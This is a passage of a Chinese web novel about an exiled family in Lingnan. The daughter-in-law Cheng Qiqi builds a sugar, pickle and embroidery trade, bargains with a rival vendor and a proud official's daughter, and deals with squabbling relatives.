糖坊蒸蒸日上,程七七用三连锅,熬出的糖,品相好,卖相佳,糖的味道也好,原先还觉得程七七空有花架子的人,这会瞬间都佩服起程七七了。 “难道,京都人,真的这么聪明?” 宋珍妹看着新熬出来的糖,赵黑是她的舅舅,从小到大,她就没少跟着舅舅来糖坊玩,她以为糖全部都是糖坊以前那样,成色不好的糖! 宋珍妹,从来没看过这么好的糖。 “谢谢夸奖。” 程七七微笑着,这个什么表情都写在脸上的宋珍妹,还挺好玩的,她倾身上前,在她的耳畔说:“等你跟冷屿结婚,我肯定送你一份大礼。” 宋珍妹:“……” 她的脸都红的像煮熟的虾一样,转身就跑了。 程七七看着她离去的背影,眼眸垂了下来,自从进了糖坊,大家就对她的事情也清楚了,知道她是寡妇之后,之前还跟她和乐融融的宋珍妹,又重新竖起了敌意! 糖坊进展顺利,开工第一天,熬出来的糖,品相极好,全村的村民,还有冷家人,都充满了期待。 赵黑因为妹妹糖坊的事情解决了,靳家看着被流放,还是有本事的,再加上忠勇侯打猎的本事,因此,赵黑跟忠勇侯,都快称兄道弟了! 靳家人拿到的不再是卷刃的刀,和最差的工具,拿上了好使的工具,靳家人砍起樟树来,就更加的轻松了。 潮生县,洪记绣楼。 “帕子绣完了?” 月娘一眼就认出了程七七,这才过去八天,居然就绣完了? “对。” 程七七将带来的六套十二花神帕递了上前道:“月娘可以看看。” “我看看。” 月娘听到她说绣完了,才狠狠的松了一口气,这眼看着交货日期就到了,她要是说绣不了,那肯定是要赔钱的! 赔钱不是最打紧的,最重要的是,小姐需要这十二花神帕,要是真没完成,倒是不能跟大小姐交代了。 十二花神帕绣起来不算简单,所以,价格也比普通的手帕,贵了五文钱一方。 “咦。” 月娘认认真真的看着这些帕子,针脚匀称,针线的颜色过渡的很正常,不管是哪种花,都绣的栩栩如生的! “不错。” 月娘开心的说着,将七十二方帕子全部都检查过了,质量都是一样的好,月娘道:“我现在就给你结钱。” 月娘手拿着算盘道:“一方十三文钱,七十二方就是九百三十六文钱。” 月娘说着,直接开了一张条子,上面盖了章道:“等会你到账房去支取就行,你们绣活手艺不错,有没有兴趣,继续接单?” 月娘笑盈盈的看着程七七,她的心中,已经笃定,她肯定会接的。 “有。” 程七七的眼睛亮了亮,靳家的女眷,干粗活那是不行的,如果能继续接绣活,那自然是好的! “我们这边有……横屏,桌面屏风,东西不大,你们要是能做的话,可以接。” 月娘介绍着,洪记绣楼的单子很多,绣娘光做鸳鸯喜被,合欢枕套,单子都做不完。 很多绣品,就只能外包出去了! 可,又不是什么东西都能外包,万一没有按时完成,万一绣品弄脏了?万一…… 难得碰上程七七这样一家子绣活手艺不错的,又提前交货,因此,她便提议着。 “这样的屏风,大概二十几天就能绣完,绣一件的话,能挣八百文钱。” 月娘说到八百文钱的时候,程七七的眼睛亮了:“那我能接四件吗?” 家里四个人的绣活都不错,不到一个月,就能挣八百文钱,也是不错的! “你先看看图样,能不能绣。” 月娘拿着图样递了上前道:“这批货,都是上等的丝绸,绣品绝对是不能弄脏的,所以……” “只要我们能绣,肯定就不会弄坏,就像那批帕子一样。” 程七七仔细的看着,柳素仪跟她说过,她们能绣的东西很多,她问:“如果会双面绣的话,是不是能挣更多?” “噗嗤~” 月娘还没说话,一个嘲讽的声音响起:“哪来的土包子,真以为双面绣是什么阿猫阿狗都会的吗?” 第一卷 第70章 赏你一块料子? “双面绣确实很难,但,不一定没有人会吧?” 程七七微笑着,再一次见到宋明珠的时候,她想:果然是出门没看黄历。 上次差点被她的马车给撞飞了,这次来交货,没想到又碰上了? 她一如既往的红袄,一如既往的高高在上。 “呵呵。” 宋明珠冷笑着,道:“你的意思是,你会?” 宋明珠的视线从上到下的打量着程七七,眼底都是对程七七的嫌弃,一身粗布麻衣,看起来就穷…… “我不会。 程七七的话音落下,宋明珠嘲讽的笑容更甚,只听得程七七继续道:“我家人会。” “你家?” 宋明珠柳眉微挑:“正好,我想要一柄双面绣的荷包,你要是能绣好,给你一两银子!” 荷包? 一两银子? 程七七默默在心底念叨着,柳素仪说过,双面绣虽然不容易,但也就是费些时间,一个荷包,也不过巴掌大,换一两银子真好! “真的?” 程七七的眼睛亮晶晶的,看向一旁的月娘道:“月娘,真的绣一面双面绣的荷包,能得一两银子?” 月娘:“……” 双面绣是很值钱,但,也分很多种! 比如说入门级的,双面花,这种简单,也就一二百文。 进阶一点的,双面异色绣,三五百文钱也正常。 还有更好一点的双面异色异图,六七百文钱。 最高阶的,双面三异绣,异色、异图、异针法,这种价格就贵了,那值一两银子! 而宋明珠想要的,则是双面异色,这价格,超了很多。 “本小姐一个唾沫一个钉,自然说话算话。” 宋明珠不满的蹙眉,直接朝着丫鬟使了一个眼色:“我要的是一面蝶,一面芙蓉花,半个月之内,你要能绣出来,一两银子,就是你的。” 丫鬟将图样递了上前,宋明珠想订制一把及笄的荷包,绣上她最爱的蝴蝶和芙蓉花,可,洪记绣楼居然绣不出来? 要绣的话,就得去省城! 可,时间上又来不及了。 宋明珠本来因为订制的双面绣荷包拿不到手而不高兴,谁知道,一出来,就听到程七七的话,她立刻嘲讽。 “成交。” 程七七看完花样之后,立刻就应了下来道:“月娘,劳烦你写一份契书,等到时候交货了,也好有个凭证。” 程七七笑的露出洁白的牙齿,一两银子,一个双面绣的荷包,这买卖,怎么看都划算。 “哼,只要你能绣得出来,本小姐还差你这点钱?” 宋明珠看她这模样,都知道她是怕自己不给钱了,她冷声笑着,“丹若,给钱。” “是。” 叫丹若的丫鬟,立刻掏出了一两银子递上前。 “要是绣不出来,你就……” 宋明珠将她上下打量了一番:“你也赔不起钱,就给本小姐磕个响头。” 嗑响头? 这也太侮辱人了。 月娘下意识的看向一旁的程七七。 只见程七七道:“如果我完成了呢?” “我没绣完,退还一两银子,还要磕个响头,要是我完成了呢?” 程七七的眼眸微闪,并没有因为宋明珠满头珠翠,一身富贵,就生出半点的自卑,在她的眼里,宋明珠那不就是人傻钱多? 要是庄里正和冷婆子他们在的话,只怕会觉得,这副场景格外眼熟? “完成了就得银子啊?” 宋明珠蹙眉,这人是不是脑子有点问题。 “您可是闺阁千金,名门大小姐。” 程七七的话,让宋明珠挺直了脊背,下巴微抬,那眼神仿佛在说:你知道就好。 “俗话说得好,有惩罚,就有奖励,一千文钱,那是绣帕子的工钱,如果没完成,我要磕头,那完成了,自然是得有奖励?” 没等宋明珠回过神来,她笑眯眯的说道:“大小姐身份尊贵,心地善良,品性高洁,肯定不会做只有惩罚,没有奖赏的事情吧?” 程七七一顶一顶的高帽子送上去。 宋明珠这下回过味来了,她的眼神认真了些许,打量着程七七那张脸,和那一身粗布麻衣相比,她那张脸,生的还算不错。 “想要奖赏?” 宋明珠的唇角勾了起来,她随手道:“你说得对,本小姐奖惩分明,若是你真绣好了,本小姐就赏你……” 宋明珠的话语停顿,眼眸一转,道:“就赏你一块料子。” “三梭布,如何?” 宋明珠的脸上笑的那叫一个开心,三梭布,上等的棉布,细密如绸,比普通的棉布贵一到二倍的价格! 它不耐脏,寻常灰扑扑的棉衣,真掺上一点泥点子,随手拍拍就不脏了! 但,三梭布不一样,一滴酱油晕开,怕是这衣裳就毁了。 “谢谢大小姐。” 程七七一点都没有觉得不好。 “那你赶紧去绣吧,月娘,给她材料。” 宋明珠带着丫鬟丹若离开,临走前,连看都没看一眼程七七。 “丹若,立刻派人去府城,想法子给我订个双面绣荷包!”宋明珠一上马车就吩咐着,她的及笄礼,一定要有一个漂亮的双面绣荷包。 “是。” 丹若应声。 “你,真的要绣双面异色异图的荷包?” 月娘担心的道:“刚刚那位宋明珠小姐,父亲是潮生县附近,宋都督的嫡出千金,若真绣不出来,怕是真要嗑头……” 月娘对程七七的印象还是很好的,出身穷苦,但不卑不亢的,笑起来的时候,看着就像是邻家漂亮的小妹妹一样。 “月娘你放心,既答应了,我肯定能做出来。” 程七七微笑着道:“谢谢月娘,不过,那三梭布是什么布?” 她好奇的询问着,刚刚宋明珠说三梭布的时候,那玩味的眼神,似乎……挺奇怪? “布是好布,细密如绸,就是不耐脏。” 月娘解释着道:“比普通的棉布,贵两倍。” 月娘看着她身上的衣裳,这三梭布真穿在身上,怕是她不适合干活。 “那挺好,正好给我女儿做里衣。” 程七七的眼睛亮了亮,好料子,给女儿做个睡衣,正好合适。 女儿的皮肤娇嫩,贴身的衣服,还是得穿着舒服一些。 “你有女儿?” 月娘有些震惊,她看着程七七就像是还没及笄的小姑娘一样,没想到,她居然有女儿了? 同时,看着程七七欢喜的样子,她的神色复杂,她到底知道不知道,宋明珠拿这块布当奖赏,可是在嘲讽她身份低微呢! 第一卷 第71章 信誉好吗? “对啊,我女儿很可爱。” 程七七提起女儿,就格外的开心。 “真看不出来。” 月娘打量着程七七,她委婉的说起宋明珠的奖励三梭布可能……没什么好意。 “月娘,我知道她是什么意思,但那又如何,绣完双面绣,能拿到额外的奖励,挺好。” 程七七不傻,宋明珠幸灾乐祸的意思那可太明显了! 但,那又怎么样呢? 三梭布是娇贵,但细密如绸,给女儿做两身里衣,好的很。 “面子不值钱。” 程七七微笑着,经历过流放后,她真切的明白,面子是不值钱的,只有真金白银,才是有用的,她问:“对了,月娘,宋小姐的信誉还好吧?” 她到时候绣出双面荷包来,真的能拿到钱和布料吧? “你放心,只要你们把荷包绣出来,肯定能拿到钱和布料。” 月娘笃定的笃定的说着,她看着程七七,欲言又止道:“双面绣的手艺,本来就很稀少,整个岭南,会的人屈指可数。” “更别说双面异色异图绣了,这……” 月娘知道她们家里,绣活的手艺不错,可,这双面绣若真能做出来,确实就很厉害了! “我家人手艺不错。” 程七七没有多过解释什么,等过几日,拿出绣好的双面绣荷包之后,便能让所有人都相信她们真的有能力,绣出双面绣的荷包的。 “行,需要的绣钱都在这里,你拿去吧。” 月娘将双面绣荷包需要的绣线,还有,四个屏风的小样绣线和材料,全部都给了程七七! “嫂子。” 出了绣坊,靳礼之和靳砚之卖完酸菜粥,都过来找她了:“嫂子你还要买什么?” “你们的酸菜,就卖完了?” 程七七挑眉,往日不是都要卖一整天? 这会才半下午呢。 “嫂子,我们之前着送的那几家粥铺,一家又拿了三罐子酸菜,这不,我们这里就不够卖了。” 靳砚之迫不及待的说着,道:“这几家粥铺不错,下一次,我觉得我们是不是可以卖点到饭馆里?我们的酸菜用来做酸菜鱼,肯定是最香的!” “嫂子,我们什么时候做酸菜鱼?” 靳砚之抿了抿唇,每天卖酸菜,他都馋酸菜鱼了! “你们要是抓得到鱼,今晚就吃。” 程七七看着他们递过来的沉甸甸的铜钱,心中自然是骄傲的,她做的酸菜,得到岭南人的喜欢,多么有成就感,且又挣钱的一件事情? 明天,该准备一些萝卜,这酸菜吃腻了,换换口味。 酸萝卜丁,酸辣萝卜,都是开胃小菜。 再加上一点甘蔗汁,做成糖醋萝卜,肯定不比酸菜差,就是,这价格怎么订? “哎呦。” 正在思考着未来挣钱的法子,突然,板车一顿,程七七下意识的往前栽了下去。 程七七手快的抓住板车,固定住身形,前方,传来靳砚之的声音:“大娘,你走路走得好好的,干嘛突然冲出来?” “万一撞到我们,你想讹钱吗?” 靳砚之先声夺人的,脸色不善的看着眼前拦路的大娘,他们每天起早贪黑的,挣点酸菜钱,多不容易啊? “是你?” 程七七一眼就认出了拦路的大娘,这,不就是卖那稀粥照得出人影的酸菜粥大娘吗? “小姑娘长得水灵灵的,没想到,净干些抢生意的事。” 阿贵嫂看着程七七道:“到旁边茶棚里,喝杯茶?” 随着阿贵嫂的声音落下,靳砚之和靳礼之两个人都觉得这不对劲了,她身后,多了好几个大汉! 这要是打起来……他打不过啊! “嫂子,要不,你先跑吧?” 靳砚之挡在程七七的面前,小声的说着。 “跑得了和尚,跑不了庙。” 程七七睨了他一眼,看着阿贵嫂一行人,明显就是有备而来的。 程七七直接就走到旁边的茶棚,挑了一个空位就坐了下来,她没说话,等着阿贵嫂说明来意。 “大家都叫我阿贵嫂。” 阿贵嫂直接开口,招了两杯茶过来,她喝了一口,看着程七七一脸平静,甚至比他身后的两个大小伙还要平静,她道:“你不害怕?” “阿贵嫂看起来就跟我家的嫂子一样和蔼?为何要怕?” 程七七端起茶抿了一口,道:“阿贵嫂是想要找我买酸菜的?” 程七七偏头,似天真的话语,看着阿贵嫂笑意盈盈的。 “……” 阿贵嫂想过她害怕,想过她求饶,想过她辩解,想过她可能要说:她做她的生意,就算她不是岭南人,也可以做这生意。 可,就是没想到,她居然问:她是来买酸菜的? 阿贵嫂打量着程七七,不明白她是真傻还是假傻,自从程七七一家人熬的香浓的粥再配上好吃的酸菜时,她的生意就被抢的七七八八了。 她也将粥熬的浓了一些,但,酸菜的味道,就不如人家的! 这些日子,阿贵嫂特意买了程七七做的酸菜,酸、脆、带着三种香,哪怕空口吃,味道也是正的! 再对比一下她自己做的? 阿贵嫂又学习了一下,可,酸菜也依旧做不出那样好吃的味道,于是,阿贵嫂便直接找上了程七七! “我家的酸菜做的很好,阿贵嫂可以批发去卖,也是不错的。” 程七七微笑着说着。 “批发卖?不如,你把方子卖给我。” 阿贵嫂看着程七七,她打听过了,程七七是流放的犯人,只可惜,后面有人护着,动不了。 卖方子。 靳砚之和靳礼之两个人一个箭步站到了程七七的身后,靳砚之焦急的说:“嫂子,卖酸菜方子,那就是杀鸡取卵啊!” 程七七回头,看着靳砚之一脸着急,连成语都蹦了出来,看得出来,他是很在乎酸菜生意了。 “我愿意出三十两银子。” 阿贵嫂伸出三根手指道:“我也就是看在你们缺钱的份上,出这么多钱,否则,以你们流放犯人的身份,你觉得,你们这生意,能做得长久吗?” “再说了,现在你们生意好,不代表后面的生意也能好。” 阿贵嫂笑眯眯的话里,却带着赤果果的威胁道:“三十两银子,拿到手里,才是真的。” 第一卷 第72章 傻子才买 “阿贵嫂说得对!” 程七七附和的话,让阿贵嫂的笑容更加的深了,看着程七七的眼神就像是看白痴一样! 还说是京都来的呢? 这下金蛋的鸡都卖掉? 下一刻,阿贵嫂的笑容就僵在了脸上。 “不过,阿贵嫂给的钱太少了,最近我们卖到粥铺去了,一天就一千五百文钱,一个月,那就是四十五两银子。” 程七七清脆的声音,说起数字来,那是叭叭的,没等阿贵嫂开口,她继续道:“阿贵嫂真想买方子的话,怎么也得出上半年的钱吧?” “我也不后面我们卖的更多涨价的,就算你个整数,一个月四十两,半年就是二百四十两!” 程七七伸出掌心道:“只要阿贵嫂给钱,我保准将方子卖给你。” “……” 阿贵嫂的脸就像是抹了黑灰一样,她的笑脸不复存在,阴沉沉的道:“二百四十两银子,你不如去抢!” “抢钱可是要被抓起来的,这事我可不能干!” 程七七一本正经的回答着。 阿贵嫂气的想吐血,她道“五十两,一文钱都不会再多!” 那酸菜的味道她尝过,确实跟她们做出来的不一样。 “阿贵嫂,我也是,一文钱都不能再少。” 程七七学着她的话说认真的回答着。 ‘啪。’ 阿贵嫂拍桌而起,嘴里飙了一句岭南话,虽然听不懂,但一听就像是在骂人的。 “别以为有巡检护着你们,就能你这生意就能做下去!” 阿贵嫂刚刚还和善的模样,不过是转眼间,就凶相毕露,那倒三角似狰狞的眼神,恨不得将她给生吞活剥了! 阿贵嫂身后几个大汉上前。 靳礼之和靳砚之两个人就像左右护法一样,护在程七七的身侧,两个人虽然心里怂,但面上,却是凶凶的。 两边都是凶狠,茶棚附近的人都躲的远远的,生怕被波及了。 “大家不用这么凶嘛。” 程七七轻笑着,仿佛刚刚那恨不得掀翻茶棚的事情,就像是在过家家一样,她道:“批发还是很挣钱的,你们是本地人,还可以批发着去省城卖酸菜,到时候,我们大家一块挣钱!” 不是她自己不想去省城卖酸菜,而是她的身份,就注定了,去省城卖不方便。 再说了,她以后的糖和酸菜不止卖到岭南,还要卖到更远的地方,牺牲一个安南州省城的市场,换取安宁,她很满意。 “我们小县城里,两文钱一勺,阿贵嫂到了省城,完全可以卖三文钱一勺嘛!” “当然,你卖多少钱一勺,我都不会管的,反正我给你批发价!” 程七七镇定自若的说着,道:“可惜我们是犯人,不然的话,我去省城卖的话,肯定能挣更多的钱呢。” 程七七一脸惋惜的说着:“我也就是看着阿贵嫂和气,我一眼就觉得阿贵嫂就像是邻家阿嫂一样,我看着可亲切了,要是换作别人,我肯定都不带搭理的。” 程七七的嘴就像是沾了蜜糖一样甜,阿贵嫂的脸色变了又变,心底琢磨着可行性。 二百四十两买方子? 她是傻子才买。 批发? 去省城? 阿贵嫂沉默了下来。 …… “嫂子,我觉得上回我们被衙役砸摊子,说不准就是她们搞的鬼呢,你还批发酸菜给她!” “让她们去省城挣钱?这不是给她们送钱吗?” 回去的路上,靳砚之一脸的不满,总觉得这样太便宜他们了! “所以呢,你还想再被砸一次摊子?还是等着他们使阴招?” 程七七坐在板车上,睨了愤愤不平的靳砚之一眼道:“我们是犯人,你觉得我们能去省城卖酸菜?” “从这里去省城,就得一天的时间,我们能走这么远?” “再说了,我们的酸菜一整坛一坛的卖给她们,我们也一样挣钱,只不过挣得少罢了。” 程七七一连几句话怼了回去,道:“芥菜如今正是丰收的时候,价格又便宜,家里那几大坛子的酸菜,靠你们这样一天卖一点的,卖到明年春天都卖不完。” “……” 靳砚之被堵的一句话都说不出来,他又道:“那,那不是有重山他们吗?他们守护着我们……肯定会帮我们的的!” “世子不在了,他们愿意守护,是他们的人好,我们不能理所当然的指挥着人家去干活,你是出了钱呢?还是救了他们的命?” 程七七抿着唇,不管是重山还是黑土,世子对他们有恩,或许,他们愿意保护,但世子已经死了,恩情这东西,用一回少一回! 自然要用在生命危险的地方,怎么能用在生意上? 回到家里,忠勇侯得知这情况的时候,夸赞道:“七七,你做的很好,你说的阿贵嫂一家是地头蛇,她一家不可怕,就怕她身后的人。” “对,我就是这么想的,没了阿贵嫂,还会有阿香嫂,阿李嫂,到时候我们疲于应对,甚至因为我们犯人的身份,很多事情都不太方便。” “如今跟阿贵嫂达成了合作,后面的事情,我们就不用操心了。” 程七七没有见到阿贵嫂的时候,其实就已经想过了,她家的酸菜卖得好,肯定会有人眼红嫉妒使破坏的。 她早就在心里想好了,批发,同时让出省城的生意。 和县城相比,省城的摊子才更大,挣到的钱,也会更加的多。 “砚之,好好学学!” 忠勇侯看了一眼云里雾里的靳砚之提醒着,这小儿子真是半点脑子都不长,幸好大儿媳妇没半点坏心,不然,把小儿子卖了,他都还要帮人数钱! “哦。” 靳砚之感觉自己又被鄙视了,他果断的站了起来道:“那我去后山捡柴了。” 说着,靳砚之就拿着柴刀,大步的去后山捡柴了,每天不用砍樟木树的感觉,真的是太好了! 每天卖酸菜,回家捡柴挑水的日子,简直不要太美好。 要是,每天再来点肉就好了。 靳砚之哼着小调进了后山,没走多远,就看到一个鬼鬼祟祟的身影,那,不是他的妹妹? 靳雪儿? 她不是跟着靳晴一起捡蘑菇去了,怎么一个人偷偷摸的去后山了? 靳砚之蹙着眉头,跟了上去。 第一卷 第73章 带足了银子 “帕子怎么样,全部都行吧?” 柳素仪几个人一直在家里等着,洗完了芥菜,把家里的活都干的好好的了,就一直盼着程七七回来! 这会,一见着程七七回来了,柳素仪、孟静瑶、李氏和林惠兰四个人都盯着程七七,见她怀里依旧抱着一个丝绸包袱,她们都担心……不会被退货吧? “当然行。” 程七七拍了拍腰间挎着的布包,叮当作响,那是铜钱碰撞的声音:“绣楼说你们绣的都很好,一共九百三十六文钱,一文钱都没少!” “而且,我还给你们接了新活,桌上的摆件屏风,要是绣完,一幅就能挣八百文钱。” 程七七先拿出四个屏风图样出来道:“梅兰竹菊,我看过了,你们应该是都能做!” “八百文钱?” 林惠兰激动的眼睛都亮了。 “对,八百文钱,只要绣的好,以后,肯定不缺活干。” 程七七打听过了,洪记绣楼的东家是府城的洪家的大小姐,身份尊贵,洪记绣楼在府城,那都是鼎鼎有名的。 “这个我能绣。” 林惠兰高兴的说着。 孟静瑶和李氏对视了一眼,也连连表示她能干。 “那四幅图样,你们各自挑一样绣,二十五天内交货,也就是明年元宵前。” 程七七提醒着,这会离过年可就剩下十天了。 “没问题。” 林惠兰激动的拍着胸脯保证着,不用去干重活,可太好了! “九百三十六文钱,一人就是二百三十四文钱。” 程七七连算盘都不用上,直接就口算出来了。 “七七,你辛苦跑绣楼,还要接活,你哪有分文不取的道理?” 柳素仪开口,自家儿媳妇断然没有吃亏的道理。 “是,应该给的。”李氏笑着附和。 孟静瑶也连连点头。 林惠兰道:“要不……给个零头?” “林姨娘,还是你大气。” 柳素仪含笑着开口道:“三十四文钱,也不算少了。” “……” 林惠兰的笑容僵在脸上,她说的零头是四文,不是三十四文钱。 林惠兰的视线转到孟静瑶和李氏身上,祈祷她们能说不同意,谁知…… “二嫂说的对,没有七七,我们哪有绣活挣钱?” 李氏非但没有反对,反而还对着程七七一顿夸:“绣楼里都是看人下菜碟的,七七帮我们接这么多绣活,也不容易吧?” “嫂子,谢谢你。” 孟静瑶的眼底也是真心实意的感谢。 傻。 她给我们报的价,难道还会不挣钱? 林惠兰在心底疯狂的骂着,面上却是堆着假笑道:“对。” 三十四文钱,那就得绣二方,近三方帕子呢。 “大家都是一家人,在绣楼里,确实捧高踩低的,但,只要我们绣活手艺好,就不愁接不到活,一人给个四文钱,意思意思就行。” 程七七可没想当二道贩子,也就想着给女眷们找个活干。 “对了,你们谁会双面绣?一面蝴蝶,一面芙蓉花。” “绣一个荷包,绣完就有一千文。” 程七七将双面绣的图样拿了出来。 当听到一千文时,大家都惊呆了,李氏惋惜着:“可惜,我不会,双面异色绣,还行,异图异色?不行。” “我也不会。” 孟静瑶摇了摇头,她的女红是不错的,从小到大,绣出来的帕子也是好看的,可双面绣,不会。 林惠兰也不会,最后,柳素仪笑着说:“那这活,我就接下了,七七,这交货日期?” “半个月以内,娘,屏风和荷包,你能……绣得完吗?” 程七七当时唯一担心的就是这个。 赌约之事,她更是没有提起。 “能。” 柳素仪肯定的说着,分完钱之后,程七七只拿了一人四文钱的辛苦费,柳素仪又夸了程七七一箩筐的好话。 “娘,我回来了!” 戴着小笠帽的靳岁安,背着小竹篮子,跟在靳允的身边,手里还拿着一朵大大的蘑菇道:“娘,我摘了好多蘑菇。” “慢点。” 程七七看着摇摇晃晃跑回来的女儿,一背篓的兔草,还有蘑菇,宽大的帽檐,衬的她的脸更娇小了。 “娘,你看,好大的蘑菇。” “爷爷带我捡的,娘你快看!” 靳岁安小脸因为兴奋,红彤彤的,转过身,就给亲娘显摆着她的蘑菇了。 “我们安安真厉害!” 程七七夸赞着,蹲下身子,往她嘴里塞了一颗糖:“奖励安安的!” “谢谢娘。” 靳岁安被夸的都不好意思了,小脸红通通,眼睛亮晶晶的。 “小花猫。” 程七七给她擦了擦弄脏的小脸,又将后背的背篓给放下来了,这才道:“行了,去喂兔子吧!” “好。” 靳岁安喜滋滋的拎着背篓里的草,去喂小兔子了。 “程七七在家吗?” 阿贵嫂的声音响起,程七七从厨房探出头来,见到阿贵嫂的时候,眼眸闪了闪,看来,她比自己想象中还要着急酸菜! “阿贵嫂,快快请进。” 程七七擦了擦手,一边倒茶,一边道:“娘,你去请他们三房的人过来,我有事要说。” 本来打算晚饭大家都在的时候说,谁知道,阿贵嫂这么快就来了。 “行。” 柳素仪立刻去隔壁找靳家旁支三房的人了。 “这就是你腌制的酸菜?” 阿贵嫂盯着屋檐下的酸菜大缸,看起来和她们自己腌制的,也没什么区别。 “对。” 程七七瞧着阿贵嫂一副想要知道怎么做的样子,她也没能戳穿,毕竟,想要跟着她做出一样的酸菜来,那可不是能看得出来的! 她用的方法,可沉淀了五千年,总结最好的方法了。 “你能保证,跟你卖的酸菜是一样吧?不会我花钱买了,酸菜不一样?” 阿贵嫂的眼睛里都透着精明,她都等不及明天了,少卖一天,就少赚一天的钱。 “阿贵嫂放心,可以尝,要是不满意,阿贵嫂可以不买。” 程七七微笑的说着,道:“阿贵嫂今天来的话,就只能买这一缸。” “没问题。” 阿贵嫂看着那一大缸的酸菜,拍了拍腰间道:“我今儿个,可是带足了银子!” 第一卷 第74章 做梦吧你 “七七,你要批发酸菜给她?” 柳素仪等人听到这个消息时,都惊呆了。 “对。” 程七七把她要买方子的事情说了,道:“以后她去府城卖,我们之间互不干扰的。” “七七你没受伤吧?” 柳素仪听到阿贵嫂带着人堵她,下意识的就担心极了。 “没事。” 程七七摇头道:“我们抢了人家的生意,自然会有人眼红嫉妒,让出一部份的利润,换取我们在县里平安卖酸菜的生意,很划算。” “再说了,我们不能在安南州府城卖,可以去别的府城卖啊?” 程七七当然决定拉她们入伙的时候,就已经考虑过这个问题了。 “那,她买了一缸子酸菜去,到时候岂不是已经学会了?” 高胜兰将她心中的担忧说了出来。 “哈哈~” 程七七轻笑着说:“要是能这么容易学会,她也不会今天才来买的。” “你是说,她在家里学过,然后失败了?” 高胜兰瞬间就反应了过来。 “对。” 程七七微笑着点头:“她想学,可没那么容易!” “那我同意。” 很快,大家就达成一致的想法。 阿贵嫂给钱爽快,在尝过酸菜确实是跟程七七卖的一模一样,让人抬着大缸就回去了! “这,批发也没少赚啊!” 高胜兰看着程七七手里的银钱,芥菜可真便宜啊,这么折腾一下,身份瞬间就翻倍不止。 “以后,我们要多腌点酸菜了。” 程七七没有分钱,而是拿着这些钱,准备继续购买芥菜、萝卜,准备再上点新的酱菜。 再好吃的酸菜,天天也会腻的。 靳家人对此一点异议都没有,听程七七的,他们能挣钱! …… “不要再打了!” 靳雪儿看着扭打一起的靳砚之和庄海潮,吓的脸都白了:“哥,别打了,再打会打死人的!” “他欺负你!” 靳砚之双目赤红的看着庄海潮道:“我告诉你,我妹妹跟村里的姑娘不一样,你,配不上她!” “是么?” 庄海潮扶着身后的树,缓缓的站了起来,出身武将家,跟以前那些肩不能提,手不能扛的少爷还真不一样,这手揍起人来,还挺疼的。 庄海潮擦了擦嘴角的血,痞笑的盯着靳雪儿道:“你哥哥管得也太宽了?男未婚,女未嫁?我都没嫌弃你们是罪籍,凭什么配不上她?” “再说了,她快摔了,我难道要眼睁睁的看着她摔地上?” 庄海潮的目光直勾勾的盯着靳雪儿:“靳姑娘,你说呢?” 靳雪儿紧张的错开目光,她深吸了一口气道:“哥,你误会了,我刚刚差点摔地上,是他……救了我。” 靳雪儿一想到刚刚的画面,就有些不好意思。 自从上次庄海潮带她吃了一只烤鸡的味道之后,她就馋的不行,可谁知道,刚刚她没坐稳,直接摔地上了。 庄海潮朝着她扑过来,这一幕,正好被哥哥看见了。 “哼,你少打我妹妹主意。” 靳砚之冷哼一声道:“回家!” “谢谢你。” 靳雪儿回头,话音方落,就被靳砚之拽着手臂跑了。 “靳雪儿,你胆子肥了?男女授受不亲你不知道?” “他打什么主意,你难道不知道?” 靳砚之蹙起眉头看着她道:“难道,你真想嫁给一个泥腿子?你以后还能有好日子过吗?” “那我们什么时候能过上好日子?”靳雪儿平静的抬头问。 “你看看我的手。” 靳雪儿伸出手,曾经娇养着的手,如今已经粗糙,甚至都冻红了,她双眼红通通的,道:“这样的日子,我是一天都不想过了!” “每天不是在舂米,就是在磨面,还要我去糖坊?” 靳雪儿激动的看着靳砚之道:“去了糖坊,天天看程七七的脸色过日子吗?” 她想离开,她想逃离这个家! 而庄海潮,就是她考察的对象。 庄里正的儿子,和那些官家少爷完全不一样,也不是富贵人家,正好,也不能嫌弃她罪籍的身份! 庄里正家儿子好几个,庄海潮是最小的那一个,庄家的儿媳妇,在村里出了名的命好,在家里也不用干重活。 “嫂子什么时候给过脸色了?难道不是每次你和娘阴阳怪气的?” “没有嫂子,我们能平安到岭南吗?” “现在家里挣钱了,你再等等,以后……” 换作从前的靳砚之,才懒得理她,可现在,靳砚之觉得,作为哥哥,她还是得劝劝! “我等不了了。” 靳雪儿看着他道:“你应该给庄海潮道歉,他救了我,你不感谢就算了,还打了他。” “我道歉?” 靳砚之原本还想好好劝呢,这会,拉倒吧! 靳砚之转身就拐去山里捡柴了,他要挣很多的钱,再也不用干苦活累活! “哥,你赶紧去道歉吧。” 靳雪儿追了过去。 “做梦吧你!” 靳砚之头也不回的说着,他只觉得心里堵的慌! “靳砚之。” 靳雪儿气的跺脚,靳砚之冷着一张脸,埋头捡柴。 兄妹两个一路气呼呼的回到家,正在煮粥的林惠兰愣了一下:“你们兄妹怎么了?” “哼?” “哼!” 靳雪儿和靳砚之两个人冷哼一声,谁也不理谁了。 “小娘,怎么又是粥,我想吃饭,想吃肉!” 靳雪儿看着那没食欲的粥,再看着那酸菜,瞬间什么都不想吃了! “我还想吃肉了,你们自己买去?” 林惠兰瞪了她一眼,随即看着靳砚之问:“你们今天去卖酸菜,那个什么阿贵嫂,真的会欺负人吗?酸菜生意就这么批发给别人了?万一以后,你们卖不了了怎么办?” 林惠兰先前没说,现在看着靳砚之,迫不及待的就追问着。 “阿贵嫂来了?” 靳砚之震惊,随即道:“批发也挺好的,嫂子都不怕我们卖不了,我怕什么?” “县里人这么多,我们的酸菜,好卖的很。” 靳砚之大口的喝粥道:“等过些日子,赚的多了,我们买肉吃!” “小娘,你这厨艺,能不能进步一点?” 靳砚之人拌着酸菜,闻着旁边厨房里,程七七炖的菜香,他眼中愁啊,什么时候可以天天吃上嫂子做的饭菜? 第75章 娶你当正妻吗? “唉。” 林惠兰被她们兄妹两个嫌弃,捂着胸口,一脸难受的说:“是我这个小娘不好,没给你嫡出的身份,拖累你们了。” 话落,林惠兰拿着帕子就擦着眼睛,看起来楚楚可怜的。 “小娘,你说这些有什么意思?” 靳砚之蹙起了眉头,对于林惠兰这一哭二闹三上吊的想法,那是看的真真的,他意有所指的说:“你有这心思,还不如管管靳雪儿,小心被村里的男人拐了去。” “小娘,你也管管哥吧,别娶了个乡下女人。” 靳雪儿狠狠瞪了他一眼,立刻就反驳了回去! “什么?” 林惠兰一听着这话,立刻道:“砚之,你以后的媳妇,可不能是个乡下女人!” “就我这罪籍,谁嫁?” 靳砚之没忍住翻白眼,看着靳雪儿:“你还是担心靳雪儿的好。” “谁看上你了?人家能娶你当正妻吗?” 